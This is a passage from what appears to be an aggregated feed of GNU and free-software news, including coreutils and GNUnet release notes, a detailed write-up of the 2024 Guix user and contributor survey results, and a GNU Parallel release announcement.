given that there is no longer a distinct "ctl" fuse variant file system.
** New Features
cksum -a now supports the "crc32b" option, which calculates the CRC
of the input as defined by ITU V.42, as used by gzip for example.
For performance pclmul instructions are used where supported.
ls now supports the --sort=name option,
to explicitly select the default operation of sorting by file name.
printf now supports indexed arguments, using the POSIX:2024 specified
%$ format, where '' is an integer referencing a particular argument,
thus allowing repetition or reordering of printf arguments.
test supports the POSIX:2024 specified '<' and '>' operators with strings,
to compare the string locale collating order.
timeout now supports the POSIX:2024 specified -f, and -p short options,
corresponding to --foreground, and --preserve-status respectively.
** Improvements
cksum -a crc, makes use of AVX2, AVX512, and ARMv8 SIMD extensions
for time reductions of up to 40%, 60%, and 80% respectively.
'head -c NUM', 'head -n NUM', 'nl -l NUM', 'nproc --ignore NUM',
'tail -c NUM', 'tail -n NUM', and 'tail --max-unchanged-stats NUM’
no longer fail merely because NUM stands for 2**64 or more.
sort operates more efficiently when used on pseudo files with
an apparent size of 0, like those in /proc.
stat and tail now know about the "bcachefs", and "pidfs" file system types.
stat -f -c%T now reports the file system type,
and tail -f uses inotify for these file systems.
wc now reads a minimum of 256KiB at a time.
This was previously 16KiB and increasing to 256KiB was seen to increase
wc -l performance by about 10% when reading cached files on modern systems.
The results from the Guix User and Contributor Survey (2024) are in! This is the first time the Guix community has run this type of survey, and we're excited to share the results. The goal of the survey was to collect the views of both users and contributors, understanding how people adopt Guix, what they love and they're experiences contributing to the project.
There were 943 full responses to the survey, of this 53% were users and 32% were contributors. The table of survey participants is as follows:
First, thank-you to everyone who made the effort to fill out the survey. For a volunteer community project it's fantastic to see over 900 people took part. It's notable that 150 people took the survey who were previous users or contributors — it's really great that people are willing to make this effort to share their experiences — thanks so much!
With this many participants we can see the range of view points and experience across our whole community, many of the comments were enlightening and are worth reading. There are links in many of the questions so anyone that's interested can go through them.
As the results are extensive I've split them into three separate posts, in this post we'll focus on the first 10 questions of the survey which focused on how users learnt about Guix and their experiences adopting it.
User backgrounds and experienceThe survey started by asking participants, How knowledgeable a Linux are you? (Q1).
Table 2: Participant's Linux knowledge| Category | Count | Percentage |
| --- | --- | --- |
| Beginner (e.g. just getting started) | 18 | 2% |
| Explorer (e.g. comfortable installing it and using graphical apps) | 18 | 2% |
| Intermediate (e.g. comfortable with the command-line and configuring many aspects) | 445 | 47% |
| Advanced (e.g. you correct the Arch Linux Wiki!) | 248 | 26% |
| Expert (e.g. able to contribute to large Free Software projects!) | 212 | 22% |
| No answer | 2 | 0.21% |
Note that all the percentages in this table, and throughout the posts are rounded to make them easier to refer to.
Figure 1 shows this graphically:
Figure 1: Survey participants GNU/Linux knowledgeThe next question (Q2) was, How long have you been using Guix?
Table 3: Guix experience| Category | Count | Percentage |
| --- | --- | --- |
| Less than 1 year | 245 | 26% |
| Between 1 and 2 years | 218 | 23% |
| Between 2 and 4 years | 234 | 25% |
| More than 4 years | 160 | 17% |
| I've stopped using Guix | 83 | 9% |
| No answer | 3 | 0.3% |
Figure 2 shows these results as a bar chart:
Figure 2: Survey participants GNU Guix experienceThese two questions already tell us some interesting things about Guix users:
Guix users generally have a lot of Linux experience: 50% said they were Intermediates who were "comfortable with the command-line and configuring many aspects". A further 26% said they were Advanced, and 22% said they were experts.
Conversely, very few users (~4%) are beginners or exploring Linux users.
Many Guix users are new to Guix itself.
Guix's user-base is growing! Almost 75% of the user-base are recent converts to Guix, having used it for less than 4 years.
It's a similar distribution of users to Nix's. Their 2024 survey showed dramatic growth (~65%) in users from 0-2 years, Guix's is 49%.
It's fantastic to see new users are exploring and trying out Guix.
Unfortunately, 9% of users are no longer using Guix, but care enough to fill out the survey - so what can be done to help them come back?!
Adopting GuixThe next few questions explored how participants adopted Guix. It's important that new users have a great adoption experience so they'll keep using Guix. Conversely, if the initial experience is too difficult, they may simply move onto something else without seeing it's benefits!
The first question asked, (Q4) Why were you initially interested in Guix?
This question tells us what users had heard about Guix, and what they discovered during their initial investigation. The answers could impact how the project talks about Guix's strengths and capabilities.
For this question users could select more than one answer and many did so. The most selected choice was "Declarative configuration" where 82% of participants were interested in Guix because it had this quality. The option "Scheme, Guile, and Lisp are cool" was second, where 72% of the survey's participants were intrigued by Guix because of this aspect. The "Reproducibility" choice came third with 70% interested in this capability. The detailed results were:
Table 4: Reason for adopting Guix| Category | Count | Percentage |
| --- | --- | --- |
| Reliability and transactions | 537 | 57% |
| Declarative configuration | 772 | 82% |
| Reproducibility | 658 | 70% |
| Reproducible scientific workflows | 199 | 21% |
| Fresh packages with latest versions | 207 | 22% |
| Scheme, Guile and Lisp are cool | 677 | 72% |
| Friendly community | 256 | 27% |
| FSF certified project (100% Free Software) | 404 | 43% |
| Alternative architectures (e.g. ARM) | 90 | 10% |
| GNU Hurd | 122 | 13% |
| Package management on another Linux distribution | 319 | 34% |
| As a tool for packaging my own software | 267 | 28% |
There were 110 choices of 'Other' where participants could add their own comments, they're all available to read. Looking through them some themes came through:
Development environments:
"General solution to rvm,pyenv etc"
"As a Docker replacement for software development"
Documentation:
"Initial interest in Nix, but hearing about Guix having more pleasant documentation also swayed me towards using Guix instead"
"Documentation (not exhaustive but well-structured), simplicity of the CLI"
Free Software & GNU:
"The possibility of releasing the GNU operating system version 1.0
"100% free software yes, FSF no (FSFE are fine)"
"Being a GNU project helped me decide between Guix and Nix."
Use for Continuous Integration:
"used for CI, replacing docker with free software and user control"
Sandboxes and security:
"Sandbox environment"
"Security: containerized environments integrated in the OS."
Package definitions:
"Writing packages for GNU Guix seemed more intuitive than for Gentoo Linux (Guix's hashes > Gentoo's slots)"
"Ease of packaging"
An alternative to Nix:
"Wanted to check out alternatives to Nix. Particularly interested in 1) grafting, 2) measures against ld.so stat storm, 3) performant guix packs without proot"
"Use Nix a lot, want to explore that design space more"
Guile Scheme and Lisp:
"One language for everything"
"Not nixlang"
"homogeneity of the configuration (one language for everything)"
Full source:
"Full Source Bootstrap & Strict Policy to compile all software from source"
"Full source auditability"
The next question the survey asked was, Which aspect of Guix did you initially adopt? (Q5). This is users initial entry point into using Guix.
The detailed results were:
Table 5: Initial aspect of Guix adopted| Category | Count | Percentage |
| --- | --- | --- |
| Package manager on top of another Linux distro (guix package) | 336 | 36% |
| Dotfiles and home environment management on another Linux distro (guix home) | 41 | 4% |
| Isolated development and runtime environments on another Linux distro (guix shell) | 58 | 6% |
| GNU/Linux distro as a graphical desktop (guix system) | 434 | 46% |
| GNU/Linux distro as a server (guix system) | 47 | 5% |
| As a software build and deployment tool (guix image, guix package or guix deploy) | 16 | 2% |
| Other | 9 | 1% |
Figure 3 shows this as a bar chart:
Figure 3: Guix initial adoption aspectThe summary is that almost 50% of users initially experienced Guix as a GNU/Linux distro: 44% in a graphical desktop configuration and a further 5% in a server configuration. Just over a third of users (36%) initial experience Guix as a package manager on top of another Linux distro. I found this surprising as I'd expected most users to use Guix as a hosted package manager first, what an interesting result! We can also see there's lots of room to develop Guix Home as an adoption path.
Adoption challengesAdopting any new technology is difficult and time-consuming, so discovering what elements users find difficult is important. Q7 delved into this by asking, What were the biggest challenges getting started with Guix?
The results were:
Table 6: Adoption challenges| Category | Count | Percentage |
| --- | --- | --- |
| Installing Guix as a package manager on a GNU/Linux distribution | 80 | 8% |
| Installing Guix System as a full Linux distribution | 236 | 25% |
| Level of Linux knowledge needed to use Guix | 102 | 11% |
| Difficulties with the reference material (i.e. the manual) | 236 | 25% |
| Shortage of how-to tutorials and videos | 297 | 32% |
| Shortage of examples (e.g. examples of usage) | 431 | 46% |
| Inexperience with Lisp syntax and/or Guile Scheme | 374 | 40% |
| Differences between Guix's approach and other Linux distros | 321 | 34% |
| It was so long ago I can't possibly remember! | 44 | 5% |
| Other | 218 | 23% |
Figure 4 shows this as a bar chart:
Figure 4: Guix adoption challengesAs we can see the biggest challenge is a Shortage of examples (e.g examples of usage). And, if we consider shortage of how-to tutorials (32%) to be similar then overall we can see there's a clear need for focused goal-orientated documentation with examples. Inexperience with Lisp syntax and or Guile Scheme and Differences between Guix's approach and other Linux distros both speak to the unique nature of Guix and the approach it takes: perhaps there are implications for how Guix's tooling can make initial adoption as easy as possible.
There were 218 comments, which are worth reading through. I've summarised them into broad themes:
Conceptual complexity: comments about the overall knowledge required being too much. Examples are:
"Understanding the concepts on which guix runs"
"managing storage space, generations, GC roots, profiles; generally grasping the concepts"
"Some interesting free software is only available for other distros, it's hard to adapt to a system without file system hierarchy"
Lack of drivers: issues caused by drivers not being available. Examples are:
"can't really use linux-libre on the machine I installed it on (lack drivers)"
"Getting an initial installation with working non-free wifi"
"hiding nonguix"
Efficiency: comments regarding overall resource usage making Guix slow or unusable. Example comments are:
"The evaluation of Guix is slow and resource-intensive. My laptop was no match for it, I had to change it."
"Guix experimentation is still too slow. Make experimenting faster for new users by identifying rate limiting steps and speeding them up"
"Slow network when download guix substitute"
Missing packages and services: issues where Guix doesn't contain a required package or service.
"missing packages I needed and getting them upstreamed after I packaged them"
"Unpackaged free software, and nonfree software"
"Coming from Nix: smaller, less up-to-date package set, substantially fewer home services"
Quality and reliability: issues of quality and reliability that made Guix difficult to use. Some comments:
"hard time fixing config errors with reports"
"Broken integration between some components (packages and services)"
"Basic setup is pretty easy on paper, but in practice sometimes it breaks my system and I need to fiddle with shell profiles and environment variables and installing extra packages to get Guix programs play nice with native programs. And I feel like this kind of breakage isn't acknowledged or addressed enough."
Practical guides, how-to's and examples: situations where a lack of direct instructions or examples made Guix difficult to use.
"Guix-unique bugs and issues that I can't find an answer to online"
"Lack of docs mostly, common patterns, the fact that's it's a pain the butt to make things works for some ecosystems on the Guix distro (e.g any app written in Golang, Rust, JS,TS..)"
Error messages: poor experience caused by error messages that are difficult to understand. Example comments:
"Horrible error messages"
"Difficult guile scheme error messages!!"
"Hard-to-understand error messages"
Configuring on a hosted distribution): issues caused when using Guix on top of another distribution. Some comments:
"I found the setting of numerous variables and the comments recommending I do so contradictory and so confusing"
"SELinux blocked installation of packages: remount"
"Problems using it on a foreign distro. Guix Home particularly assumes that you are using guix system, I had to tweak the .profile a lot to get it working."
Encrypted boot / LUKS: encryption in various forms unavailable or missing certain features:
"Very poor support for full disk encryption."
"Also using a LUKS encrypted root file-system was a challenge at the time i started Guix"
Language ecosystems (e.g. Rust, PHP): issues due to missing packages, or attempts to package, from certain language ecosystems.
"Missing packages, and the difficulty of packaging rust or npm packages on guix dissuaded me from contributing them"
Mac availability: situations where being unavailable on Mac meant Guix could not be adopted.
"Linux only. nix has macos support too which would help adoption in a team environment."
"No MacOS official distribution"
Adoption satisfaction scoreThe survey asked (Q6), How satisfied were you with your experience adopting Guix?
This question explores the users overall satisfaction with the initial steps of researching, installing and initially using Guix. The question asked the participant to score their satisfaction on one of 5 levels.
Figure 5: Guix initial adoption satisfaction bar chartThis is probably the most important question in the entire survey when it comes to growing the number of Guix users. Overall, it's positive with Very Satisfied (24%) and Satisfied (43%) meaning that the majority of users are happy with their initial experience. The comments above show there's lots of room to find small ways to move users initial experience from Satisfied to being overjoyed! Unfortunately, on the other end of the scale 14% of users who were unhappy and the 16% neutral show some of the bigger challenges!
Which GNU/Linux distribution do you use Guix on?As we saw earlier just over a third of users (36%) initial adopt Guix as a package manager on top of another GNU/Linux distribution. Question 8 asked, Which GNU/Linux distribution did you use Guix on top of?
I errored when creating this question and somehow missed out Debian! Over 117 answers in the 'Other' category said Debian so it's the most popular distribution to use Guix on, Ubuntu is second (111) and then Arch Linux was third (81). There were also plenty of mentions of OpenSUSE, RHEL/CentOS and Void Linux.
Why did you stop using Guix?Question 9 was targeted at those that had previously used Guix but had stopped. It asked, You previously used Guix but stopped, why?
This was a comment question and we got some fantastic answers. There were 147 comments from participants, which lines up well with the 150 people who took the survey and classed themselves as a 'Previous user' or 'Previous contributor'.
This was a free form text answer, the full comment are well worth a read through . As before I've clustered the comments into themes:
Complexity of maintenance too high: many commented that the overall experience of using Guix was too time-consuming and complex. A slow configuration feedback loop, inefficiency, and the overall maintenance burden were all concerns. Example comments:
"I needed to switch to a distribution that required less of my attention when I started my new job. I switched to NixOS with the intention of going back to Guix at a later date, but I am now reliant on so many parts of the nix ecosystem that I don't think I'll ever actually switch back."
"I was doing more work trying to make my setup perfect or fix issues with it rather than working on my other projects. A lot of things with my setup either broke with time or were just not compatible (My setup couldn't handle printing, screen sharing, audio, suspending/hibernation and I just didn't know how to fix all that) and I couldn't deal with it any longer, I simply went back to whatever worked for me earlier."
Learning curve too difficult: many aspects of Guix are completely different from how other distributions achieve the same result. In some instances this learning curve was too difficult and/or there was not enough assistance. Example comments:
"Mainly the learning curve is huge for a long-time nix systems user. I knew it would be difficult to adapt, but for each and every little thing I would need to go dig how to fix something. Doing proper power management on my laptop, setting up mail (I've been using Gnus for years, but still...!), compile and test mainline kernels on my laptop, etc. It's awesome to learn all those things, but they all require time. And that's where I had to give up: I wanted a (reliable) system I could use for my day-to-day work, Guix would be great... if I could spend a few weeks only learning it (and Lisp!)."*
"But the problem ends up to be that the whole ecosystem around guix basically assumes super knowledge about what scheme is, how to use it and worse of all deep comfort and will to use emacs as the main interface to it all. It's too high of a hurdle to dedicate when just wanting to write some files, evaluate them, declare some packages, shells, etc. I have zero interest and will to use or learn emacs and putting it so much upfront does a huge disservice to the whole project."
Lack of drivers within the distribution: the lack of drivers to enable hardware was the most commented on specific issue. Some examples of those comments:
"As a long time Arch user I found it difficult to configure Guix for daily use. I need proprietary video drivers (and possibly other bits to get everything working?) and I don't remember if I ever got those up and running."
"I have a lot of respect for the technical side of the project, but the politics of free software absolutism (to the point where we are supposed to tell people to replace perfectly functional hardware in order to use Guix, instead of telling them about Nonguix) and the user hostile email based contribution workflow made me realize Guix would likely never reach critical mass, so my time is best applied elsewhere."
Unavailable proprietary software: proprietary software not being available was also mentioned (not quite as much as drivers), often in comments that focused on Guix not being practical as a distribution for professional use. Some specific comments:
"Lack of proprietary software, primarily CUDA, MKL, etc."
"Although I like FSF license purity, NixOS was much more amenable to get working on various hardware & did not preclude using Nvidia CUDA."
Efficiency and resource usage: there were comments about guix pull taking too long, whether this was actually the fault of Guix pull locally or remote servers, the overall experience was mentioned multiple times. Some example comments were:
"The core tooling was far too slow (e.g. pulling updates, etc.); Nix is slow, but nowhere near as slow as Guix (was back then, but I'm not aware of the kind of order of magnitude improvements that would have been required). Core functionality was not reliable enough for a server operating system (shepherd, logging, system rollback). Arcane contribution requirements (no provisions for non-Emacs users, e.g. regarding code formatting; baroque and counterproductive changelog and commit factoring requirements); I didn't mind the email/patch based workflow btw"
"Guix pull is too slow. The guix ci servers are inaccessible from my location, requiring a proxy. Guix System does not have a large enough community to be reliable and universal enough for daily use (in my opinion)"
Missing packages and services: there were lots of comments about both missing packages or services and this making it difficult to use Guix. Example comments:
"Much of the software I needed wasn't packaged, and it eventually became frustrating. I tried to package what I could, but some things felt extremely difficult, E.g., jujutsughc. However unfortunate it may be, I also rely on various pieces of nonfree software, and Guix was working against me in that regard. I do not like that I have to use nonfree software, but I often have no choice."
"Still use to some extent as package manager on foreign distro. For desktop use, waited for usable KDE Plasma packaging, and for laptop, coverage of working builds for ARM. Hoping to return; there is progress on both of these fronts. Size of store and speed of guix pull where also issues (on limited hardware)."
Out of date packages: meaning that although there was a package within Guix it was lagging, with particular concern about security implications. Example comments:
"Outdated or absent FOSS software (ex: Gnome, KDE, etc)"
"Too many packages updates were lagging behind, this was raising concerns for me from a security point of view"
Quality and reliability: general issues with quality and reliability that undermined the users belief that the project was ready for real use. Examples:
"An upgrade broke the system and crippled it from booting. Moved on to other distribution"
"I like the whole idea of guix. But it feels like it is not really ready."
Guix not fully supporting disk encryption: full disk encryption in a variety of forms came up multiple times as a Guix weakness. Examples:
"Guix does not support an unencrypted /boot partition. But also does not fully support LUKS2 due to grub."
"I love Guix System, but it still misses a few quality-of-life improvements, such as better support for full disk encryption on install (entering two passwords!) and faster servers for South America. I kid you not, it takes me several hours to install a base system with MATE!"
Missing guides/how-to's and examples: we've already seen that lack of specific how-to documentation was an issue, there were various comments to that:
"Examples were insufficient, documentation expected much more in-depth linux knowledge. I would like to try again using it, as I love the concepts of it and I find that I resonate with the people representing Guix, and while I am on NixOS currently I find some social aspects of the Nix project concerning."
"I switched back to NixOS due to more Community support"
Free Software as a constraint: Free Software and GNU as an organisation were commented on as a constraint to having a practical, usable system that met user's needs. Note that the next bullet is the reverse of this. Some example comments:
"No ease of access to the tools I depend on without jumping through hoops. VSCode, Chrome, Discord, all required flatpaks. Gnome was extremely out of date and didn't work well with flatpaks making it even harder to use them. NVIDIA drivers unavailable. I would have to work entirely around Guix to make it usable for the real world. I can't just convince my friends to stop using Discord. I can't just convince my job to not depend on VSCode extensions. I have spent my time using VSCode Calva for my personal Clojure projects as well. I would have to spend a lot of time creating my own repository and writing guix packages for everything just to make it usable for myself. The GNU should be trying to meet users where they are to help liberate them, instead of creating an alternate reality where user needs are not addressed. This is a non-starter in the year 2024."
"Exclusion of all references to non-free software (and no suggested step-by-step easy setup) made a full-featured initial installation untenable."
Not enough GNU: there were also some comments that the Guix project was not sufficiently supportive of GNU and/or Richard Stallman:
"I am disappointed that you veered off the course of freedom and added nonguix. Also that you hate on RMS."
"I stopped using Guix after it ran a campaign against Richard Stallman. I don't plan to return back."
Language ecosystem issues: as tools like Docker, and languages like Go and Rust become more important, friction with them is more of an issue for users:
"my use case is to package tooling for other distros and use it to build docker images reproducibly for use in CI environments. it does not work for this use case very well. can't run guix daemon inside a container"
"Lack of packages, stance on 100% reproducibility which makes packaging software with transitive dependencies hard, slow evaluator, obscure communication and collaboration mediums, patches take months to even get a review, cryptic error messages."
Nix is more modern or practical: many users seem to have explored Guix as an alternative to Nix. Example comments:
"I looked at Guix as an alternative to NixOS, and like its design a lot, but struggle with the 100% free software approach as I need some non-free software (for various reasons, hardware support, required by work, etc.). I'm aware of the non-guix channel which mostly solves this, but having to compile most things myself got too cumbersome for me — I wish there was a more complete substitute server for that channel, or perhaps even a derivation based on guix with a less strict free-software policy more akin to those of NixOS or debian."
"There were too many packages missing or so out of date as to be de-facto missing. Using Guix was therefore much harder to use than Nix, where I had more packages (both Free and non-Free) and they were more up to date."
Old-fashioned communications: here were some comments about communications within the project being old-fashioned, both from general users and those that had tried to contribute:
"There seems to be shortage of packages and slow development. Email or only free software is definitely an hindrance to many people to daily drive guix. It has become hit and miss for me, so staying with nixos as its rich and I can followup on its development easily on git repo, discourse, matrix and all."
"The main two reasons are that I find the irc/email/emacs flow very hard to work with and I do not feel safe in the mailing lists."
Unavailable on Mac OSX: there were a few comments that in a professional context the fact that Guix isn't available for MacOS made it difficult to use:
"Being unavailable on macOS. I have my nix home manager setup on both linux and macOS. Also the lack of a number of packages was a challenge. Like typst, bottom, hugo, tree, ruff, and sd for example. I am interested in becoming a maintainer but I want my setup to also work in macOS."
Incompatibility with hosting Linux distro: running Guix on top of another distribution was confusing, particularly for graphical programs:
"Guix home breaking Fedora. Troubles with binary applications due to the non-fsh nature."
"Setting up the package manager & daemon was confusing. The command "guix pull" felt excessively slow. A lot of packages were not up to date. Breaking the FHS"
Poor contributor experience: the patch process itself, slow reviews and inconsistency in response were all mentioned as issues. Examples:
"I still use Guix, but am a previous contributor. Important patches (for me) which I submitted were/are ignored, so I’ve stopped contributing."
"Perceived Inconsistent patch reviews. I did create couple of patches for guix, I do believe to contribute to project that I use. Sometimes I see patches getting stuck without feedback on them (not necessarily mine), the process to review patches is unclear to me and most likely to most people. Also guix lack automation to help everyone understand what is going on, if patches break rules, if this trivial change could be merged easily, etc. maybe it’s there for you, but I dont see that."
"I was passed over for commit access (even though I surpassed the 50 commit requirement) because I could only find 2 people to vouch for me, not 3. Then my patches stopped being merged, and some 2-year-pending patches I sent were closed without good reason. With the way Guix is run and how they treat contributors, it is an insulting/degrading process that I am no longer willing to put myself through."
As we can see there are a wide variety of reasons why users stopped using Guix, many of them are similar to the challenges that many users find, but they're even more powerfully felt by these users. It's really useful to have these themes and comments captured, as contributors may be able to pick up some of these issues and work to resolve them!
How important is Guix?Focusing back on all users, the next question was, (Q10) How important is Guix in your computing environment?
Figure 6: Guix's importance in users computing environmentsThis is an interesting mixture which is probably reflective of many new users, and how Guix is used as a package manager on top of another distribution. Over a third of users consider it to be essential/important where it would be difficult to replace, while the bottom third are tinkering or exploring it.
Some thoughtsWe've looked at the first 10 questions of the survey which covered the composition of the Guix community, initial adoption and satisfaction, and challenges that led to users moving away from Guix. The first thing to say is how fantastic the response has been to the survey, it's amazing to have over 900 participants!
Some big take-aways:
Interest in declarative configuration, reproducibility along with Scheme, Guile and Lisp are bringing in lots of new user - around 50% have been using Guix for less than 2 years
Guix users are knowledgable Linux users who are comfortable being hands-on with their system
Around 50% of users adopt Guix as a GNU/Linux distribution, 36% as a hosted package manager on top of another Linux distro
The survey produced great feedback from current and previous users on areas where the project can improve
Around 67% of users were satisfied (or very satisfied) with their initial adoption experience
Guix is essential or important for over a third of users, part of their environment for the next third, and being explored by the last 27% of users
The next post will cover more of the survey — which parts of Guix are most used, what sorts of deployments are being used, architectures and drivers details, and how users view contributing to the project financially.
o In ipmi-config, fix incorrect output of
IPv6_Dynamic_Address_Source_Type.
o In ipmi-oem, increase precision of Dell cumulative energy output.
o Do not advertise options that are only available when special debugging is compiled into FreeIPMI.
o Fix build errors with implicit-function-declaration.
o libfreeipmi: remove unnecessary / duplicate parameter checks.
o Fix gcc 14.x build failures.
o Minor documentation updates.
libgnunetchat 0.5.2 released We are pleased to announce the release of libgnunetchat 0.5.2.
This is a minor new release bringing compatibility with the major changes in latest GNUnet release 0.23.0. A few API updates and fixes are included. Additionally the messaging client applications using libgnunetchat got updated to stay compatible. This release will also require your GNUnet to be at least 0.23.0 because of that.
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try http://ftp.gnu.org/gnu/gnunet/
Noteworthy changes in 0.5.2 * Implement iteration of tags by chat contact
* Adjust types and API to improve consistency
* Add more test cases and fix some older test cases
* Adjust IV derivation for file encryption/decryption key
A detailed list of changes can be found in the ChangeLog .
Messenger-GTK 0.10.2 This minor release will add optional notification sounds and contact filtering via tags. But mostly the release is intended to reflect changes in libgnunetchat 0.5.2.
Keep in mind the application is still in development. So there may still be major bugs keeping you from getting a reliable connection. But if you encounter such issue, feel free to consult our bug tracker at bugs.gnunet.org .
messenger-cli 0.3.1 This release will apply necessary changes to fix build issues with libgnunetchat 0.5.2.
Version 3.18 of GNU Mailutils is available for download.
A short summary of changes follows.
New debugging shortcut: all
Using all in mailutils debug level specification enables all debugging categories. Syntactically, all can be used wherever an actual category name is allowed, thus, e.g., all.!=prot enables all levels except prot in all debugging categories.
mail: fix and document interaction between mailutils configuration files and mail command files.
In particular, mail variables that correspond to some mailutils configuration settings, now correctly reflect their value.
Bugfixes Minor fix in handling of the EHLO command in smtp client.
* Improve docs.
* Minor fix in mhn and related tests.
* mail utility: use the mailer* configuration capability.
I am very proud of the performance in 2024 for this team.
Here is summary from GNU translation team for 2024.
Dear GNU translators!
2024 repeated the general traits of 2023: most active teams kept doing
a good job updating the translations, and a few new translations were
made. Currently, the total amount of translations is over 3350.
General Statistics
Most new translations were made by the Chinese (zh-cn) team this year;
then the Polish and French teams follow. The Turkish team, although
it published no new translations this year, made a notable progress
in terms of keeping its translation up-to-date.
The table below shows the number and size of newly translated
articles in important directories and typical number of outdated
GNUNified translations throughout the year.
To understand the views of the Guix community we're running a survey that we'dlove you to take part in! TheGuix User and Contributor Survey is livenow, and should take about 10 minutes to fill out. Perfect for doing with a cupof tea and a biscuit!
The Guix project continues to grow and change, with new contributors and usersjoining our community. We decided to run this survey as it's the best way togather good quality feedback across the widest cross-section of the community.Of course, there's lots of interesting topics a survey could ask about! Wedecided to focus on how Guix is used, and how contributors take part in theproject.
The survey is being run onLimeSurvey which is a Free Softwareproject and has been used by many other projects for similar surveys. Thesurvey's hosted on the LimeSurvey SaaS so that wedon't have the additional task of operating the software. No personal data isasked for (e.g. email addresses), no tracking data is beingcollected (e.g. IP addresses) and the entries are anonymised.
We'll be making the results and the anonymised data available under theCreative Commons CCO:that way anyone can analyse the data for further insights.
We hope the results of the survey will be used to understand both the Guixproject's strengths and areas we can improve. Which is why your input isso important. If you can, please take the survey!
Welcome to the Free Software Supporter, the Free SoftwareFoundation's (FSF) monthly news digest and action update -- being readby you and 231,355 other activists.
GNUnet 0.22.2 This is a bugfix release for gnunet 0.22.1.It fixes some regressions and minor bugs.
Links * Source: https://ftpmirror.gnu.org/gnunet/gnunet-0.22.2.tar.gz ( https://ftpmirror.gnu.org/gnunet/gnunet-0.22.2.tar.gz.sig )
* Source (meson): https://buildbot.gnunet.org/releases/gnunet-0.22.2-meson.tar.gz ( https://buildbot.gnunet.org/releases/gnunet-0.22.2-meson.tar.gz.sig )
* Detailed list of changes: https://git.gnunet.org/gnunet.git/log/?h=v0.22.2
* NEWS: https://git.gnunet.org/gnunet.git/tree/NEWS?h=v0.22.2
* The list of closed issues in the bug tracker: https://bugs.gnunet.org/changelog_page.php?version_id=459
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/
NOTE: pacman v7 is currently in [libre-testing]; but it will be promoted to libre soon
from arch:
With the release of [version 7.0.0] pacman has added support fordownloading packages as a separate user with dropped privileges.
For users with local repos however this might imply that the downloaduser does not have access to the files in question, which can be fixedby assigning the files and folder to the alpm group and ensuring theexecutable bit (+x) is set on the folders in question.
$ chown :alpm -R /path/to/local/repo
Remember to [merge the .pacnew] files to apply the new default.
Pacman also introduced [a change] to improve checksum stability forgit repos that utilize .gitattributes files. This might require aone-time checksum change for PKGBUILDs that use git sources.
Компьютеры и сети содействуют нам в борьбе за свободу: они помогают посвятить время и силы важным общественным инициативам, организовывать протесты, защищаться от цензуры.
Но свободны ли наши компьютеры? И свободны ли мы как пользователи?
Обсудим эти вопросы 25 октября в 19:00 в Открытом пространстве с Глебом Ерофеевым — активистом движения за свободные программы и волонтёром проекта "ГНУ", который в 1983 году запустил философ и активист Ричард Столлман.
Команда проекта "ГНУ" занимается разработкой свободного софта и техноэтическим активизмом, чтобы дать пользователям контроль над их компьютерами и искоренить несправедливость, которую приносят в общество собственнические программы.
Адрес: Плетешковский пер., 8с1 (м. "Бауманская").
Участие бесплатно. Приветствуются пожертвования в пользу пространства.
BOSTON (October 22, 2024) -- The Free Software Foundation (FSF) has announced today that it is working on a statement of criteria for free machine learning applications, which will require the software, as well as the raw training data and associated scripts, to grant users the four freedoms.
GNU Parallel 20241022 ('Sinwar Nasrallah') has been released. It is available for download at: lbry://@GnuParallel:4
Quote of the month:
GNU Parallel is one of the most helpful tools I've been using recently, and it's just something like: parallel -j4 'gzip {}' ::: folder/*.csv
-- Milton Pividori @miltondp@twitter
New in this release:
No new features. This is a candidate for a stable release.
Bug fixes and man page updates.
News about GNU Parallel:
Separate arguments with a custom separator in GNU Parallel https://boxofcuriosities.co.uk/post/separate-arguments-with-a-custom-separator-in-gnu-parallel
GNU parallel is underrated https://amontalenti.com/2021/11/10/parallel
Unlocking the Power of Supercomputers: My HPC Adventure with 2800 Cores and GNU Parallel https://augalip.com/2024/03/10/unlocking-the-power-of-supercomputers-my-hpc-adventure-with-2800-cores-and-gnu-parallel/
Converting WebP Images to PNG Using parallel and dwebp https://bytefreaks.net/gnulinux/bash/converting-webp-images-to-png-using-parallel-and-dwebp
GNU Parallel - For people who live life in the parallel lane.
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
About GNU Parallel
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
Watch the intro video on http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
When using programs that use GNU Parallel to process data for publication please cite:
O. Tange (2018): GNU Parallel 2018, March 2018, https://doi.org/10.5281/zenodo.1146014.
If you like GNU Parallel:
Give a demo at your local user group/team/colleagues
Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
Get the merchandise https://gnuparallel.threadless.com/designs/gnu-parallel
Request or write a review for your favourite blog or magazine
Request or build a package for your favourite distribution (if it is not already there)
Invite me for your next conference
If you use programs that use GNU Parallel for research:
Please cite GNU Parallel in you publications (use --citation)
If GNU Parallel saves you money:
(Have your company) donate to FSF https://my.fsf.org/donate/
About GNU SQL
GNU sql aims to give a simple, unified interface for accessing databases through all the different databases' command line clients. So far the focus has been on giving a common way to specify login information (protocol, username, password, hostname, and port number), size (database and table size), and running queries.
The database is addressed using a DBURL. If commands are left out you will get that database's interactive shell.
When using GNU SQL for a publication please cite:
O. Tange (2011): GNU SQL - A Command Line Tool for Accessing Different Databases Using DBURLs, ;login: The USENIX Magazine, April 2011:29-32.
About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
